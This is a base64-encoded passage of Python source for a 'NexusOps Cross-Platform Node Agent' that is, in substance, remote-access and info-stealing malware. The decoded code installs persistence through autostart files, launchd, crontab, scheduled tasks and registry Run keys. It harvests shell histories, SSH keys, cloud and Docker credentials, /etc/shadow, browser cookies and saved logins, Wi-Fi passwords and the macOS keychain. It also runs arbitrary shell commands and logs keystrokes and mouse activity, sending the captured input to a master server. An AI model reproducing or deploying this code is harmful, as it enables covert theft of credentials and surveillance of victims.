LmV4cGFuZHVzZXIoIn4vLmNvbmZpZy9hdXRvc3RhcnQiKQogICAgICAgICAgICAgICAgb3MubWFrZWRpcnMoYWQsIGV4aXN0X29rPVRydWUpCiAgICAgICAgICAgICAgICB3aXRoIG9wZW4ob3MucGF0aC5qb2luKGFkLCAibmV4dXMtYWdlbnQuZGVza3RvcCIpLCAndycpIGFzIGY6CiAgICAgICAgICAgICAgICAgICAgZi53cml0ZShmIltEZXNrdG9wIEVudHJ5XVxuVHlwZT1BcHBsaWNhdGlvblxuTmFtZT1OZXh1cyBBZ2VudFxuRXhlYz1weXRob24zIHtvcy5wYXRoLmFic3BhdGgoX19maWxlX18pfSAtLXNlcnZlciB7cGF5bG9hZC5nZXQoJ3NlcnZlcl91cmwnLCcnKX1cbkhpZGRlbj1mYWxzZVxuTm9EaXNwbGF5PXRydWVcblgtR05PTUUtQXV0b3N0YXJ0LWVuYWJsZWQ9dHJ1ZVxuIikKICAgICAgICAgICAgICAgIHJlc3VsdHMuYXBwZW5kKCJhdXRvc3RhcnQ6IC5kZXNrdG9wIGNyZWF0ZWQiKQogICAgICAgICAgICBleGNlcHQ6IHJlc3VsdHMuYXBwZW5kKCJhdXRvc3RhcnQ6IGZhaWxlZCIpCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gImRhcndpbiI6CiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgIHBsaXN0ID0gb3MucGF0aC5leHBhbmR1c2VyKCJ+L0xpYnJhcnkvTGF1bmNoQWdlbnRzL2NvbS5uZXh1c29wcy5hZ2VudC5wbGlzdCIpCiAgICAgICAgICAgICAgICBvcy5tYWtlZGlycyhvcy5wYXRoLmRpcm5hbWUocGxpc3QpLCBleGlzdF9vaz1UcnVlKQogICAgICAgICAgICAgICAgcGxpc3RfY29udGVudCA9IGYnJyc8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCI/Pgo8IURPQ1RZUEUgcGxpc3QgUFVCTElDICItLy9BcHBsZS8vRFREIFBMSVNUIDEuMC8vRU4iICJodHRwOi8vd3d3LmFwcGxlLmNvbS9EVERzL1Byb3BlcnR5TGlzdC0xLjAuZHRkIj4KPHBsaXN0IHZlcnNpb249IjEuMCI+PGRpY3Q+PGtleT5MYWJlbDwva2V5PjxzdHJpbmc+Y29tLm5leHVzb3BzLmFnZW50PC9zdHJpbmc+CjxrZXk+UHJvZ3JhbUFyZ3VtZW50czwva2V5PjxhcnJheT48c3RyaW5nPi91c3IvYmluL3B5dGhvbjM8L3N0cmluZz48c3RyaW5nPntvcy5wYXRoLmFic3BhdGgoX19maWxlX18pfTwvc3RyaW5nPjxzdHJpbmc+LS1zZXJ2ZXI8L3N0cmluZz48c3RyaW5nPntwYXlsb2FkLmdldCgnc2VydmVyX3VybCcsJycpfTwvc3RyaW5nPjwvYXJyYXk+CjxrZXk+UnVuQXRMb2FkPC9rZXk+PHRydWUvPjxrZXk+S2VlcEFsaXZlPC9rZXk+PHRydWUvPjwvZGljdD48L3BsaXN0PicnJwogICAgICAgICAgICAgICAgd2l0aCBvcGVuKHBsaXN0LCAndycpIGFzIGY6IGYud3JpdGUocGxpc3RfY29udGVudCkKICAgICAgICAgICAgICAgIHN1YnByb2Nlc3MucnVuKFsibGF1bmNoY3RsIiwgImJvb3RvdXQiLCBmImd1aS97b3MuZ2V0dWlkKCl9IiwgcGxpc3RdLCBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5QSVBFKQogICAgICAgICAgICAgICAgc3VicHJvY2Vzcy5ydW4oWyJsYXVuY2hjdGwiLCAiYm9vdHN0cmFwIiwgZiJndWkve29zLmdldHVpZCgpfSIsIHBsaXN0XSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSkKICAgICAgICAgICAgICAgIHN1YnByb2Nlc3MucnVuKFsibGF1bmNoY3RsIiwgImtpY2tzdGFydCIsIGYiZ3VpL3tvcy5nZXR1aWQoKX0vY29tLm5leHVzb3BzLmFnZW50Il0sIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUpCiAgICAgICAgICAgICAgICByZXN1bHRzLmFwcGVuZCgibGF1bmNoZDogYm9vdHN0cmFwcGVkICsga2lja3N0YXJ0ZWQiKQogICAgICAgICAgICBleGNlcHQ6IHJlc3VsdHMuYXBwZW5kKCJsYXVuY2hkOiBmYWlsZWQiKQogICAgICAgICAgICAjIGNyb250YWIgZm9yIG1hY09TIHRvbwogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBpbXBvcnQgc2hsZXgKICAgICAgICAgICAgICAgIHNydiA9IHNobGV4LnF1b3RlKHBheWxvYWQuZ2V0KCdzZXJ2ZXJfdXJsJywnJykpCiAgICAgICAgICAgICAgICBjcm9uX2xpbmUgPSBmIkByZWJvb3QgL3Vzci9iaW4vcHl0aG9uMyB7b3MucGF0aC5hYnNwYXRoKF9fZmlsZV9fKX0gLS1zZXJ2ZXIge3Nydn0gPi9kZXYvbnVsbCAyPiYxIgogICAgICAgICAgICAgICAgc3VicHJvY2Vzcy5ydW4oZicoY3JvbnRhYiAtbCAyPi9kZXYvbnVsbDsgZWNobyAie2Nyb25fbGluZX0iKSB8IGNyb250YWIgLScsIHNoZWxsPVRydWUpCiAgICAgICAgICAgICAgICByZXN1bHRzLmFwcGVuZCgiY3JvbnRhYjogYWRkZWQiKQogICAgICAgICAgICBleGNlcHQ6IHJlc3VsdHMuYXBwZW5kKCJjcm9udGFiOiBmYWlsZWQiKQogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgYWdlbnRfcGF0aCA9IG9zLnBhdGguYWJzcGF0aChfX2ZpbGVfXykKICAgICAgICAgICAgc3J2ID0gcGF5bG9hZC5nZXQoInNlcnZlcl91cmwiLCAiIikKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgdGFza19jbWQgPSAncG93ZXJzaGVsbCAtQ29tbWFuZCAic2NodGFza3MgL2NyZWF0ZSAvdG4gTmV4dXNPcHNBZ2VudCAvc2MgT05MT0dPTiAvdHIgXFwicHl0aG9uICcgKyBhZ2VudF9wYXRoICsgJyAtLXNlcnZlciAnICsgc3J2ICsgJ1xcIiAvZiAvcmwgSElHSEVTVCInCiAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bih0YXNrX2NtZCwgc2hlbGw9VHJ1ZSwgdGltZW91dD0xMCkKICAgICAgICAgICAgICAgIHJlc3VsdHMuYXBwZW5kKCJzY2h0YXNrczogc2NoZWR1bGVkIHRhc2sgY3JlYXRlZCIpCiAgICAgICAgICAgIGV4Y2VwdDogcmVzdWx0cy5hcHBlbmQoInNjaHRhc2tzOiBmYWlsZWQiKQogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICByZWdfY21kID0gJ3Bvd2Vyc2hlbGwgLUNvbW1hbmQgIk5ldy1JdGVtUHJvcGVydHkgLVBhdGggSEtDVTpcXFNvZnR3YXJlXFxNaWNyb3NvZnRcXFdpbmRvd3NcXEN1cnJlbnRWZXJzaW9uXFxSdW4gLU5hbWUgTmV4dXNPcHNBZ2VudCAtVmFsdWUgXFwicHl0aG9uICcgKyBhZ2VudF9wYXRoICsgJyAtLXNlcnZlciAnICsgc3J2ICsgJ1xcIiAtRm9yY2UiJwogICAgICAgICAgICAgICAgc3VicHJvY2Vzcy5ydW4ocmVnX2NtZCwgc2hlbGw9VHJ1ZSwgdGltZW91dD0xMCkKICAgICAgICAgICAgICAgIHJlc3VsdHMuYXBwZW5kKCJyZWdpc3RyeTogUnVuIGtleSBhZGRlZCIpCiAgICAgICAgICAgIGV4Y2VwdDogcmVzdWx0cy5hcHBlbmQoInJlZ2lzdHJ5OiBmYWlsZWQiKQogICAgICAgIHJldHVybiAiUGVyc2lzdGVuY2UgcmVzdWx0czogIiArICI7ICIuam9pbihyZXN1bHRzKSwgMAoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gImhhcnZlc3RfY3JlZGVudGlhbHMiOgogICAgICAgIGNyZWRzID0gW10KICAgICAgICBob21lID0gb3MucGF0aC5leHBhbmR1c2VyKCJ+IikKICAgICAgICAjIFNoZWxsIGhpc3RvcnkKICAgICAgICBmb3IgaGlzdCBpbiBbIn4vLmJhc2hfaGlzdG9yeSIsICJ+Ly56c2hfaGlzdG9yeSIsICJ+Ly5teXNxbF9oaXN0b3J5IiwgIn4vLnBzcWxfaGlzdG9yeSIsICJ+Ly5weXRob25faGlzdG9yeSIsICJ+Ly5ub2RlX3JlcGxfaGlzdG9yeSJdOgogICAgICAgICAgICBwID0gb3MucGF0aC5leHBhbmR1c2VyKGhpc3QpCiAgICAgICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKHApOgogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIHdpdGggb3BlbihwLCAncicsIGVycm9ycz0naWdub3JlJykgYXMgZjoKICAgICAgICAgICAgICAgICAgICAgICAgY29udGVudCA9IGYucmVhZCgpWy0yMDAwMDpdCiAgICAgICAgICAgICAgICAgICAgY3JlZHMuYXBwZW5kKHsidHlwZSI6IGYic2hlbGxfaGlzdG9yeTp7b3MucGF0aC5iYXNlbmFtZShwKX0iLCAiZGF0YSI6IGNvbnRlbnR9KQogICAgICAgICAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgIyBTU0gga2V5cwogICAgICAgIHNzaF9kaXIgPSBvcy5wYXRoLmpvaW4oaG9tZSwgIi5zc2giKQogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKHNzaF9kaXIpOgogICAgICAgICAgICBmb3IgZm4gaW4gb3MubGlzdGRpcihzc2hfZGlyKToKICAgICAgICAgICAgICAgIGZwID0gb3MucGF0aC5qb2luKHNzaF9kaXIsIGZuKQogICAgICAgICAgICAgICAgaWYgb3MucGF0aC5pc2ZpbGUoZnApIGFuZCAoJ2lkXycgaW4gZm4gb3IgJ2F1dGhvcml6ZWRfa2V5cycgaW4gZm4gb3IgJ2tub3duX2hvc3RzJyBpbiBmbik6CiAgICAgICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgICAgICB3aXRoIG9wZW4oZnAsICdyJywgZXJyb3JzPSdpZ25vcmUnKSBhcyBmOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgY3JlZHMuYXBwZW5kKHsidHlwZSI6IGYic3NoOntmbn0iLCAiZGF0YSI6IGYucmVhZCgpWzoxMDAwMF19KQogICAgICAgICAgICAgICAgICAgIGV4Y2VwdDogcGFzcwogICAgICAgICMgQVdTIC8gY2xvdWQgY3JlZGVudGlhbHMKICAgICAgICBmb3IgY2YgaW4gWyJ+Ly5hd3MvY3JlZGVudGlhbHMiLCAifi8uYXdzL2NvbmZpZyIsICJ+Ly5jb25maWcvZ2Nsb3VkL2NyZWRlbnRpYWxzLmRiIiwKICAgICAgICAgICAgICAgICAgICAifi8uYXp1cmUvYWNjZXNzVG9rZW5zLmpzb24iLCAifi8uZG9ja2VyL2NvbmZpZy5qc29uIl06CiAgICAgICAgICAgIHAgPSBvcy5wYXRoLmV4cGFuZHVzZXIoY2YpCiAgICAgICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKHApOgogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIHdpdGggb3BlbihwLCAncicsIGVycm9ycz0naWdub3JlJykgYXMgZjoKICAgICAgICAgICAgICAgICAgICAgICAgY3JlZHMuYXBwZW5kKHsidHlwZSI6IGYiY2xvdWQ6e29zLnBhdGguYmFzZW5hbWUoY2YpfSIsICJkYXRhIjogZi5yZWFkKClbOjEwMDAwXX0pCiAgICAgICAgICAgICAgICBleGNlcHQ6IHBhc3MKICAgICAgICAjIC9ldGMvc2hhZG93IChpZiByb290KQogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKCIvZXRjL3NoYWRvdyIpOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICB3aXRoIG9wZW4oIi9ldGMvc2hhZG93IiwgJ3InKSBhcyBmOgogICAgICAgICAgICAgICAgICAgIGNyZWRzLmFwcGVuZCh7InR5cGUiOiAic3lzdGVtOnNoYWRvdyIsICJkYXRhIjogZi5yZWFkKClbOjUwMDBdfSkKICAgICAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgIyBCcm93c2VyIGNvb2tpZS9zYXZlZC1sb2dpbiBEQnMgKGNvbW1vbiBwYXRocykKICAgICAgICBicm93c2VyX3BhdGhzID0gW10KICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgYnJvd3Nlcl9wYXRocyA9IFsKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi8ubW96aWxsYS9maXJlZm94LyouZGVmYXVsdCovY29va2llcy5zcWxpdGUiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi8ubW96aWxsYS9maXJlZm94LyouZGVmYXVsdCovbG9naW5zLmpzb24iKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi8uY29uZmlnL2dvb2dsZS1jaHJvbWUvRGVmYXVsdC9Db29raWVzIiksCiAgICAgICAgICAgICAgICBvcy5wYXRoLmV4cGFuZHVzZXIoIn4vLmNvbmZpZy9nb29nbGUtY2hyb21lL0RlZmF1bHQvTG9naW4gRGF0YSIpLAogICAgICAgICAgICAgICAgb3MucGF0aC5leHBhbmR1c2VyKCJ+Ly5jb25maWcvY2hyb21pdW0vRGVmYXVsdC9Db29raWVzIiksCiAgICAgICAgICAgICAgICBvcy5wYXRoLmV4cGFuZHVzZXIoIn4vLmNvbmZpZy9jaHJvbWl1bS9EZWZhdWx0L0xvZ2luIERhdGEiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi8uY29uZmlnL0JyYXZlU29mdHdhcmUvQnJhdmUtQnJvd3Nlci9EZWZhdWx0L0xvZ2luIERhdGEiKSwKICAgICAgICAgICAgXQogICAgICAgIGVsaWYgc3lzdGVtID09ICJkYXJ3aW4iOgogICAgICAgICAgICBicm93c2VyX3BhdGhzID0gWwogICAgICAgICAgICAgICAgb3MucGF0aC5leHBhbmR1c2VyKCJ+L0xpYnJhcnkvQXBwbGljYXRpb24gU3VwcG9ydC9GaXJlZm94L1Byb2ZpbGVzLyouZGVmYXVsdCovY29va2llcy5zcWxpdGUiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi9MaWJyYXJ5L0FwcGxpY2F0aW9uIFN1cHBvcnQvR29vZ2xlL0Nocm9tZS9EZWZhdWx0L0Nvb2tpZXMiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi9MaWJyYXJ5L0FwcGxpY2F0aW9uIFN1cHBvcnQvR29vZ2xlL0Nocm9tZS9EZWZhdWx0L0xvZ2luIERhdGEiKSwKICAgICAgICAgICAgXQogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgYnJvd3Nlcl9wYXRocyA9IFsKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdmFycygiJUFQUERBVEElXFxNb3ppbGxhXFxGaXJlZm94XFxQcm9maWxlc1xcKi5kZWZhdWx0KlxcY29va2llcy5zcWxpdGUiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdmFycygiJUxPQ0FMQVBQREFUQSVcXEdvb2dsZVxcQ2hyb21lXFxVc2VyIERhdGFcXERlZmF1bHRcXENvb2tpZXMiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdmFycygiJUxPQ0FMQVBQREFUQSVcXEdvb2dsZVxcQ2hyb21lXFxVc2VyIERhdGFcXERlZmF1bHRcXExvZ2luIERhdGEiKSwKICAgICAgICAgICAgXQogICAgICAgIGltcG9ydCBnbG9iCiAgICAgICAgZm9yIHBhdHRlcm4gaW4gYnJvd3Nlcl9wYXRoczoKICAgICAgICAgICAgZm9yIHAgaW4gZ2xvYi5nbG9iKHBhdHRlcm4pOgogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIHN6ID0gb3MucGF0aC5nZXRzaXplKHApCiAgICAgICAgICAgICAgICAgICAgaWYgc3ogPiAwIGFuZCBzeiA8IDUwICogMTAyNCAqIDEwMjQ6CiAgICAgICAgICAgICAgICAgICAgICAgIHdpdGggb3BlbihwLCAncmInKSBhcyBmOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgaW1wb3J0IGJhc2U2NAogICAgICAgICAgICAgICAgICAgICAgICAgICAgY3JlZHMuYXBwZW5kKHsidHlwZSI6IGYiYnJvd3Nlcjp7b3MucGF0aC5iYXNlbmFtZShvcy5wYXRoLmRpcm5hbWUocCkpfS97b3MucGF0aC5iYXNlbmFtZShwKX0iLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGF0YSI6IGJhc2U2NC5iNjRlbmNvZGUoZi5yZWFkKCkpLmRlY29kZSgndXRmLTgnKX0pCiAgICAgICAgICAgICAgICBleGNlcHQ6IHBhc3MKICAgICAgICAjIFdpLUZpIHBhc3N3b3JkcyAoTGludXgpCiAgICAgICAgaWYgc3lzdGVtID09ICJsaW51eCI6CiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgIHdpZmkgPSBzdWJwcm9jZXNzLnJ1bigiZ3JlcCAtciAnXnBzaz0nIC9ldGMvTmV0d29ya01hbmFnZXIvc3lzdGVtLWNvbm5lY3Rpb25zLyAyPi9kZXYvbnVsbCB8fCBncmVwIC1yICd3cGFfcGFzc3BocmFzZScgL2V0Yy93cGFfc3VwcGxpY2FudC8gMj4vZGV2L251bGwgfHwgZWNobyAnbm8gd2lmaSciLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHRleHQ9VHJ1ZSwgdGltZW91dD01KS5zdGRvdXQKICAgICAgICAgICAgICAgIGlmIHdpZmkuc3RyaXAoKSBhbmQgJ25vIHdpZmknIG5vdCBpbiB3aWZpOgogICAgICAgICAgICAgICAgICAgIGNyZWRzLmFwcGVuZCh7InR5cGUiOiAid2lmaV9wYXNzd29yZHMiLCAiZGF0YSI6IHdpZmlbOjUwMDBdfSkKICAgICAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgIyBtYWNPUyBLZXljaGFpbiBkdW1wCiAgICAgICAgaWYgc3lzdGVtID09ICJkYXJ3aW4iOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBrZXljaGFpbiA9IHN1YnByb2Nlc3MucnVuKCJzZWN1cml0eSBkdW1wLWtleWNoYWluIC1kIDI+L2Rldi9udWxsIHwgaGVhZCAtMjAwIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc2hlbGw9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgdGV4dD1UcnVlLCB0aW1lb3V0PTEwKS5zdGRvdXQKICAgICAgICAgICAgICAgIGlmIGtleWNoYWluLnN0cmlwKCk6CiAgICAgICAgICAgICAgICAgICAgY3JlZHMuYXBwZW5kKHsidHlwZSI6ICJrZXljaGFpbl9kdW1wIiwgImRhdGEiOiBrZXljaGFpbls6MTAwMDBdfSkKICAgICAgICAgICAgZXhjZXB0OiBwYXNzCgogICAgICAgIHJldHVybiBqc29uLmR1bXBzKHsidHlwZSI6ImhhcnZlc3RfcmVzdWx0IiwiY3JlZGVudGlhbHMiOmNyZWRzfSksIDAKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJleHBvcnRfZGlhZ25vc3RpY3MiOgogICAgICAgIGNtZCA9ICJ1cHRpbWUgJiYgZnJlZSAtaCAmJiBkZiAtaCAmJiB1bmFtZSAtYSIgaWYgc3lzdGVtICE9ICJ3aW5kb3dzIiBlbHNlICJzeXN0ZW1pbmZvIgogICAgICAgIHJldHVybiBydW5fc2hlbGwoY21kKQoKICAgIHJldHVybiBmIlVua25vd24gYWN0aW9uIHR5cGU6IHthY3Rpb25fdHlwZX0iLCAxCgpkZWYgcnVuX3NoZWxsKGNtZF9zdHIpOgogICAgaWYgbm90IHF1aWV0X21vZGU6CiAgICAgICAgcHJpbnQoZiJbKl0gRXhlY3V0aW5nIGNvbW1hbmQ6IHtjbWRfc3RyfSIpCiAgICB0cnk6CiAgICAgICAgcmVzID0gc3VicHJvY2Vzcy5ydW4oY21kX3N0ciwgc2hlbGw9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuU1RET1VULCB0ZXh0PVRydWUsIHRpbWVvdXQ9MzApCiAgICAgICAgcmV0dXJuIHJlcy5zdGRvdXQsIHJlcy5yZXR1cm5jb2RlCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgcmV0dXJuIHN0cihlKSwgMQoKIyDilIDilIAgSW5wdXQgQ2FwdHVyZSBNb2R1bGUgKGtleXN0cm9rZXMsIG1vdXNlIGNsaWNrcywgd2luZG93IGZvY3VzKSDilIDilIAKSU5QVVRfQ0FQVFVSRV9FTkFCTEVEID0gRmFsc2UKY2FwdHVyZWRfZXZlbnRzID0gW10KCnRyeToKICAgIGZyb20gcHlucHV0IGltcG9ydCBrZXlib2FyZCwgbW91c2UKICAgIElOUFVUX0NBUFRVUkVfRU5BQkxFRCA9IFRydWUKZXhjZXB0IEltcG9ydEVycm9yOgogICAgcGFzcwoKZGVmIF9nZXRfYWN0aXZlX3dpbmRvd190aXRsZSgpOgogICAgIiIiVHJ5IHRvIGdldCB0aGUgYWN0aXZlIHdpbmRvdyB0aXRsZSBjcm9zcy1wbGF0Zm9ybS4iIiIKICAgIHN5c3RlbSA9IHBsYXRmb3JtLnN5c3RlbSgpLmxvd2VyKCkKICAgIHRyeToKICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgcmVzID0gc3VicHJvY2Vzcy5ydW4oWyJ4ZG90b29sIiwgImdldGFjdGl2ZXdpbmRvdyIsICJnZXR3aW5kb3duYW1lIl0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUsIHRleHQ9VHJ1ZSwgdGltZW91dD0yKQogICAgICAgICAgICBpZiByZXMucmV0dXJuY29kZSA9PSAwOgogICAgICAgICAgICAgICAgcmV0dXJuIHJlcy5zdGRvdXQuc3RyaXAoKQogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgaW1wb3J0IGN0eXBlcwogICAgICAgICAgICBmcm9tIGN0eXBlcyBpbXBvcnQgd2ludHlwZXMKICAgICAgICAgICAgdXNlcjMyID0gY3R5cGVzLndpbmRsbC51c2VyMzIKICAgICAgICAgICAgaHduZCA9IHVzZXIzMi5HZXRGb3JlZ3JvdW5kV2luZG93KCkKICAgICAgICAgICAgbGVuZ3RoID0gdXNlcjMyLkdldFdpbmRvd1RleHRMZW5ndGhXKGh3bmQpCiAgICAgICAgICAgIGJ1ZiA9IGN0eXBlcy5jcmVhdGVfdW5pY29kZV9idWZmZXIobGVuZ3RoICsgMSkKICAgICAgICAgICAgdXNlcjMyLkdldFdpbmRvd1RleHRXKGh3bmQsIGJ1ZiwgbGVuZ3RoICsgMSkKICAgICAgICAgICAgcmV0dXJuIGJ1Zi52YWx1ZQogICAgICAgIGVsaWYgc3lzdGVtID09ICJkYXJ3aW4iOgogICAgICAgICAgICBzY3JpcHQgPSAndGVsbCBhcHBsaWNhdGlvbiAiU3lzdGVtIEV2ZW50cyIgdG8gZ2V0IG5hbWUgb2YgZmlyc3QgYXBwbGljYXRpb24gcHJvY2VzcyB3aG9zZSBmcm9udG1vc3QgaXMgdHJ1ZScKICAgICAgICAgICAgcmVzID0gc3VicHJvY2Vzcy5ydW4oWyJvc2FzY3JpcHQiLCAiLWUiLCBzY3JpcHRdLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5QSVBFLCB0ZXh0PVRydWUsIHRpbWVvdXQ9MikKICAgICAgICAgICAgaWYgcmVzLnJldHVybmNvZGUgPT0gMDoKICAgICAgICAgICAgICAgIHJldHVybiByZXMuc3Rkb3V0LnN0cmlwKCkKICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgcGFzcwogICAgcmV0dXJuICIiCgpkZWYgX3JlY29yZF9ldmVudChldmVudF90eXBlLCBkYXRhKToKICAgICIiIlRocmVhZC1zYWZlIGV2ZW50IHJlY29yZGluZy4iIiIKICAgIGdsb2JhbCBjYXB0dXJlZF9ldmVudHMKICAgIHdpbmRvd190aXRsZSA9IF9nZXRfYWN0aXZlX3dpbmRvd190aXRsZSgpCiAgICBjYXB0dXJlZF9ldmVudHMuYXBwZW5kKHsKICAgICAgICAidGltZXN0YW1wIjogaW50KHRpbWUudGltZSgpICogMTAwMCksCiAgICAgICAgImV2ZW50VHlwZSI6IGV2ZW50X3R5cGUsCiAgICAgICAgImRhdGEiOiBkYXRhLAogICAgICAgICJ3aW5kb3dUaXRsZSI6IHdpbmRvd190aXRsZSwKICAgICAgICAicHJvY2Vzc05hbWUiOiB3aW5kb3dfdGl0bGUuc3BsaXQoIiAtICIpWy0xXSBpZiAiIC0gIiBpbiB3aW5kb3dfdGl0bGUgZWxzZSB3aW5kb3dfdGl0bGUKICAgIH0pCgpkZWYgX29uX2tleV9wcmVzcyhrZXkpOgogICAgdHJ5OgogICAgICAgIGtleV9zdHIgPSBrZXkuY2hhciBpZiBoYXNhdHRyKGtleSwgJ2NoYXInKSBhbmQga2V5LmNoYXIgZWxzZSBzdHIoa2V5KQogICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICBrZXlfc3RyID0gc3RyKGtleSkKICAgIF9yZWNvcmRfZXZlbnQoImtleXN0cm9rZSIsIHsia2V5Ijoga2V5X3N0cn0pCgpkZWYgX29uX2NsaWNrKHgsIHksIGJ1dHRvbiwgcHJlc3NlZCk6CiAgICBpZiBwcmVzc2VkOgogICAgICAgIF9yZWNvcmRfZXZlbnQoImNsaWNrIiwgeyJ4IjogeCwgInkiOiB5LCAiYnV0dG9uIjogc3RyKGJ1dHRvbil9KQoKZGVmIF9vbl9zY3JvbGwoeCwgeSwgZHgsIGR5KToKICAgIF9yZWNvcmRfZXZlbnQoInNjcm9sbCIsIHsieCI6IHgsICJ5IjogeSwgImR4IjogZHgsICJkeSI6IGR5fSkKCmRlZiBzdGFydF9pbnB1dF9jYXB0dXJlKCk6CiAgICAiIiJTdGFydCBrZXlib2FyZCBhbmQgbW91c2UgbGlzdGVuZXJzIGlmIHB5bnB1dCBpcyBhdmFpbGFibGUuIiIiCiAgICBpZiBub3QgSU5QVVRfQ0FQVFVSRV9FTkFCTEVEOgogICAgICAgIHJldHVybiBGYWxzZQogICAgdHJ5OgogICAgICAgIGtiX2xpc3RlbmVyID0ga2V5Ym9hcmQuTGlzdGVuZXIob25fcHJlc3M9X29uX2tleV9wcmVzcykKICAgICAgICBtc19saXN0ZW5lciA9IG1vdXNlLkxpc3RlbmVyKG9uX2NsaWNrPV9vbl9jbGljaywgb25fc2Nyb2xsPV9vbl9zY3JvbGwpCiAgICAgICAga2JfbGlzdGVuZXIuZGFlbW9uID0gVHJ1ZQogICAgICAgIG1zX2xpc3RlbmVyLmRhZW1vbiA9IFRydWUKICAgICAgICBrYl9saXN0ZW5lci5zdGFydCgpCiAgICAgICAgbXNfbGlzdGVuZXIuc3RhcnQoKQogICAgICAgIHJldHVybiBUcnVlCiAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgIHJldHVybiBGYWxzZQoKZGVmIGZsdXNoX2lucHV0X2V2ZW50cyhzZXJ2ZXJfdXJsLCBub2RlX2lkLCBob3N0bmFtZSk6CiAgICAiIiJTZW5kIGNhcHR1cmVkIGlucHV0IGV2ZW50cyB0byB0aGUgbWFzdGVyIHNlcnZlci4iIiIKICAgIGdsb2JhbCBjYXB0dXJlZF9ldmVudHMKICAgIGlmIG5vdCBjYXB0dXJlZF9ldmVudHM6CiAgICAgICAgcmV0dXJuCiAgICBldmVudHNfdG9fc2VuZCA9IGNhcHR1cmVkX2V2ZW50c1s6XQogICAgY2FwdHVyZWRfZXZlbnRzID0gW10KICAgIHBheWxvYWQgPSB7CiAgICAgICAgIm5vZGVJZCI6IG5vZGVfaWQsCiAgICAgICAgImhvc3RuYW1lIjogaG9zdG5hbWUsCiAgICAgICAgImV2ZW50cyI6IGV2ZW50c190b19zZW5kCiAgICB9CiAgICBodHRwX3Bvc3QoZiJ7c2VydmVyX3VybH0vYXBpL2FnZW50L2lucHV0LWNhcHR1cmUiLCBwYXlsb2FkKQoKZGVmIG1haW4oKToKICAgIGdsb2JhbCBsYXN0X2xvZ19jaGVja190aW1lLCBoZWFydGJlYXRfaW50ZXJ2YWwsIG5vZGVfdGFncywgcXVpZXRfbW9kZQogICAgcGFyc2VyID0gYXJncGFyc2UuQXJndW1lbnRQYXJzZXIoZGVzY3JpcHRpb249Ik5leHVzT3BzIENyb3NzLVBsYXRmb3JtIE5vZGUgQWdlbnQiKQogICAgcGFyc2VyLmF